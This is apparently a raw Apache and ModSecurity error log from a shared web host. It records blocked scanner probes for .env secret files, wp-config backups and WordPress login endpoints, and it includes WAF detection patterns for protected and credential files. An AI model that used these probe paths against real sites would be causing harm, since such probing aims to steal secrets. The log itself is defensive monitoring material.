"Mozilla\\\\/5\\\\.0 \\\\(compatible; YandexBot\\\\/3\\\\.0; \\\\+http:\\\\/\\\\/yandex\\\\.com\\\\/bots\\\\)" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/othercrawler.conf"] [line "3"] [id "901008"] [msg "Yandex Crawler 429 ADDED BY MONITORING DO NOT WHITELIST"] [hostname "salserodeacero.net"] [uri "/tag/comiccon/"] [unique_id "ai3zbFWSojQL4F7upKBzqAAA6iU"] [Sat Jun 13 18:18:52.711065 2026] [access_compat:error] [pid 646876:tid 646921] [remote 57.141.14.110:47928] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:52.711363 2026] [access_compat:error] [pid 646876:tid 646921] [remote 57.141.14.110:47928] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:52.759138 2026] [security2:error] [pid 648189:tid 648371] [client 49.48.48.91:54312] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "spectastore.com.ng"] [uri "/wp-comments-post.php"] [unique_id "ai3zbFWSojQL4F7upKBzqgAAAJc"] [Sat Jun 13 18:18:52.772837 2026] [access_compat:error] [pid 646876:tid 646984] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9ldmVudDAvcG93ZXI= [Sat Jun 13 18:18:52.773115 2026] [access_compat:error] [pid 646876:tid 646984] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9ldmVudDAvcG93ZXI= [Sat Jun 13 18:18:52.927783 2026] [access_compat:error] [pid 646876:tid 646999] [remote 57.141.14.110:47942] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:52.928221 2026] [access_compat:error] [pid 646876:tid 646999] [remote 57.141.14.110:47942] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:52.964508 2026] [security2:error] [pid 648189:tid 648377] [client 185.177.72.9:30482] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/wp-content/.env"] [unique_id "ai3zbFWSojQL4F7upKBztAAAAJ0"] [Sat Jun 13 18:18:53.023393 2026] [security2:error] [pid 648189:tid 648371] [client 49.48.48.91:54312] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "147"] [id "900404"] [msg "wp-comments-post POST logging"] [data "403"] [hostname "spectastore.com.ng"] [uri "/wp-comments-post.php"] [unique_id "ai3zbFWSojQL4F7upKBzqgAAAJc"] [Sat Jun 13 18:18:53.227157 2026] [access_compat:error] [pid 648189:tid 648255] [remote 57.141.14.63:29838] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:53.227600 2026] [access_compat:error] [pid 648189:tid 648255] [remote 57.141.14.63:29838] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:53.272101 2026] [security2:error] [pid 648189:tid 648452] [client 185.177.72.9:30482] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/wp-login.php"] [unique_id "ai3zbVWSojQL4F7upKBzxAAAAOY"] [Sat Jun 13 18:18:53.323308 2026] [access_compat:error] [pid 646876:tid 647003] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:18:53.323605 2026] [access_compat:error] [pid 646876:tid 647003] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:18:53.373583 2026] [security2:error] [pid 648189:tid 648297] [remote 17.241.219.93:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 93.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zbVWSojQL4F7upKBzywAAwks"] [Sat Jun 13 18:18:53.537283 2026] [security2:error] [pid 646876:tid 647122] [client 185.177.72.9:18284] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/wp-login/.env"] [unique_id "ai3zbdyTkdrNlD40tSG3qAAAAHI"] [Sat Jun 13 18:18:53.546238 2026] [security2:error] [pid 646876:tid 646884] [remote 17.246.19.234:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 234.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zbdyTkdrNlD40tSG3qQAAUQU"] [Sat Jun 13 18:18:53.671267 2026] [security2:error] [pid 646876:tid 647045] [client 185.177.72.9:18284] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/wp.php"] [unique_id "ai3zbdyTkdrNlD40tSG3qwAAACU"] [Sat Jun 13 18:18:53.759707 2026] [security2:error] [pid 646876:tid 646951] [remote 17.246.19.60:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 60.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zbdyTkdrNlD40tSG3rAAAYUg"] [Sat Jun 13 18:18:53.840131 2026] [access_compat:error] [pid 646876:tid 646962] [remote 57.141.14.5:43659] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:53.840453 2026] [access_compat:error] [pid 646876:tid 646962] [remote 57.141.14.5:43659] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:53.858897 2026] [access_compat:error] [pid 646876:tid 646911] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDQvY2FwYWJpbGl0aWVz [Sat Jun 13 18:18:53.859167 2026] [access_compat:error] [pid 646876:tid 646911] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDQvY2FwYWJpbGl0aWVz [Sat Jun 13 18:18:53.929504 2026] [access_compat:error] [pid 648189:tid 648293] [remote 216.73.216.223:32826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:53.929955 2026] [access_compat:error] [pid 648189:tid 648293] [remote 216.73.216.223:32826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:53.948094 2026] [security2:error] [pid 648189:tid 648423] [client 185.177.72.9:18298] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/wp/.env"] [unique_id "ai3zbVWSojQL4F7upKBz2QAAAMo"] [Sat Jun 13 18:18:53.985255 2026] [security2:error] [pid 648189:tid 648411] [client 172.56.168.133:4502] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zbVWSojQL4F7upKBz3AAAAL4"] [Sat Jun 13 18:18:53.992633 2026] [security2:error] [pid 648189:tid 648411] [client 172.56.168.133:4502] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zbVWSojQL4F7upKBz3AAAAL4"] [Sat Jun 13 18:18:54.049672 2026] [access_compat:error] [pid 648189:tid 648309] [remote 57.141.14.76:43313] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:54.049936 2026] [access_compat:error] [pid 648189:tid 648309] [remote 57.141.14.76:43313] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:54.057804 2026] [core:error] [pid 648189:tid 648468] [client 47.79.200.19:45354] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:18:54.057825 2026] [core:error] [pid 648189:tid 648468] [client 47.79.200.19:45354] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:18:54.083784 2026] [access_compat:error] [pid 648189:tid 648241] [remote 57.141.14.36:21324] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:54.083947 2026] [security2:error] [pid 648189:tid 648483] [client 185.177.72.9:18298] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/wpp-config.php~"] [unique_id "ai3zblWSojQL4F7upKBz5AAAAQE"] [Sat Jun 13 18:18:54.084224 2026] [access_compat:error] [pid 648189:tid 648241] [remote 57.141.14.36:21324] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:54.238245 2026] [access_compat:error] [pid 646876:tid 646991] [remote 57.141.14.88:32296] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:54.238522 2026] [access_compat:error] [pid 646876:tid 646991] [remote 57.141.14.88:32296] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:54.287215 2026] [security2:error] [pid 646876:tid 646982] [remote 17.22.237.126:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 126.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zbtyTkdrNlD40tSG3sQAAWGc"] [Sat Jun 13 18:18:54.350035 2026] [security2:error] [pid 646876:tid 647068] [client 185.177.72.9:18312] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/www-data/.env"] [unique_id "ai3zbtyTkdrNlD40tSG3swAAADw"] [Sat Jun 13 18:18:54.378886 2026] [access_compat:error] [pid 646876:tid 646990] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:18:54.379259 2026] [access_compat:error] [pid 646876:tid 646990] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:18:54.398575 2026] [security2:error] [pid 646876:tid 647110] [client 49.48.48.91:54342] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "spectastore.com.ng"] [uri "/wp-comments-post.php"] [unique_id "ai3zbtyTkdrNlD40tSG3tQAAAGY"] [Sat Jun 13 18:18:54.482068 2026] [security2:error] [pid 646876:tid 647044] [client 185.177.72.9:18312] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/x.php"] [unique_id "ai3zbtyTkdrNlD40tSG3tgAAACQ"] [Sat Jun 13 18:18:54.507027 2026] [security2:error] [pid 646876:tid 647110] [client 49.48.48.91:54342] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "147"] [id "900404"] [msg "wp-comments-post POST logging"] [data "403"] [hostname "spectastore.com.ng"] [uri "/wp-comments-post.php"] [unique_id "ai3zbtyTkdrNlD40tSG3tQAAAGY"] [Sat Jun 13 18:18:54.750981 2026] [security2:error] [pid 646876:tid 647062] [client 185.177.72.9:18328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/xx-final/vue-heroes/.env"] [unique_id "ai3zbtyTkdrNlD40tSG3ugAAADY"] [Sat Jun 13 18:18:54.926161 2026] [access_compat:error] [pid 646876:tid 646980] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZS9zdWJzeXN0ZW0vZHJpdmVycy9iYXR0ZXJ5 [Sat Jun 13 18:18:54.926618 2026] [access_compat:error] [pid 646876:tid 646980] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZS9zdWJzeXN0ZW0vZHJpdmVycy9iYXR0ZXJ5 [Sat Jun 13 18:18:54.955963 2026] [security2:error] [pid 646876:tid 647033] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/general_functions/call_user_func_array_variation_002.phpt"] [unique_id "ai3zbtyTkdrNlD40tSG3vQAAABk"] [Sat Jun 13 18:18:55.035234 2026] [access_compat:error] [pid 646876:tid 646929] [remote 57.141.14.86:55552] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:55.035677 2026] [access_compat:error] [pid 646876:tid 646929] [remote 57.141.14.86:55552] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:55.043701 2026] [security2:error] [pid 646876:tid 647032] [client 185.177.72.9:18328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri 